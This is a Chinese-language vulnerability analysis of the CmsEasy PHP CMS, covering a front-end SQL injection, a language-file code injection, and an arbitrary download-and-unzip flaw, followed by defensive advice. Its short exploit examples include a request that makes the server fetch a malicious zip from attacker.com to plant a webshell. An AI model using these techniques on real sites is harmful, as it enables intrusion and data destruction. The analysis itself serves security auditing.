某Easy 漏洞挖掘
字数 1130 2025-08-04 00:38:21
CmsEasy 漏洞挖掘与分析
写在前面
CmsEasy 是一个基于PHP的内容管理系统,其架构特点如下:
- 入口文件:
index.php定义了一些常量,设置文件包含目录,并注册了自定义加载类 - 目录结构:
lib目录包含前后台控制器inc文件夹提供数据库操作、控制器基类和模板渲染类- 所有控制器继承于
act类 - 数据库表操作类位于
table文件夹,继承于table类 tool文件夹存放小工具、自定义函数、WAF和应用调度
前台SQL注入漏洞
漏洞位置
crossall_act.php 文件中的 execsql_action 方法
漏洞分析
- 该方法接收GET请求的
sql参数 - 对参数进行解码操作
- 关键点:该文件同时提供了加密函数,可直接用于加密SQL语句
利用步骤
- 使用文件提供的加密函数加密恶意SQL语句
- 发送加密后的SQL语句作为参数
- 系统解码后执行SQL查询
示例
// 加密SQL语句
$encrypted_sql = encrypt_function("SELECT * FROM users");
// 发送请求
http://target/crossall_act.php?sql=$encrypted_sql
后台远程代码执行(RCE)漏洞
漏洞一:语言文件注入
漏洞位置
language_admin.php 中的 add_action 方法
漏洞分析
- 当
id=1时,操作的是中文语言包 - 插入新定义的键值对时,文件名和内容可控
- 关键注入点:
$content=str_replace(');',"\n".$replace.');',$content); - 问题:当内容包含
);时会导致语法破坏
利用方法
- 构造包含特殊字符的输入
- 通过
,/*等符号绕过语法限制 - 实现PHP代码注入
示例
// 构造恶意输入
$malicious_input = "', 'malicious_code'/*";
// 这将导致语言文件被修改为:
return array(
'key' => 'value',
'new_key' => '', 'malicious_code'/*');
漏洞二:任意文件下载与解压
漏洞位置
update_admin.php 中的 downfile_action 操作
漏洞分析
- 可控的
url参数允许从任意服务器下载压缩文件 - 下载的压缩文件会被解压
- 攻击者可构造恶意压缩包包含:
upgrade/upgrade.sql- 用于SQL注入破坏数据库- 任意PHP文件 - 实现webshell上传
利用方法
- 准备恶意压缩包,包含:
- 恶意SQL文件
- Webshell PHP文件
- 通过可控URL参数指向恶意压缩包
- 系统下载并解压后实现攻击
示例
http://target/update_admin.php?action=downfile&url=http://attacker.com/malicious.zip
防御建议
-
输入验证:
- 对所有用户输入进行严格过滤
- 禁止特殊字符在关键操作中使用
-
权限控制:
- 限制后台功能的访问权限
- 实现最小权限原则
-
代码审计:
- 修复
str_replace的安全使用方式 - 避免直接执行用户提供的SQL语句
- 修复
-
文件操作安全:
- 限制下载源为可信地址
- 对解压文件进行安全检查
-
WAF增强:
- 加强对特殊字符和SQL语句的检测
- 监控异常的文件操作行为
总结
CmsEasy系统存在多处高危漏洞,包括前台SQL注入和后台远程代码执行,攻击者可利用这些漏洞获取系统权限、破坏数据或植入后门。建议用户及时更新到最新版本或应用相关补丁。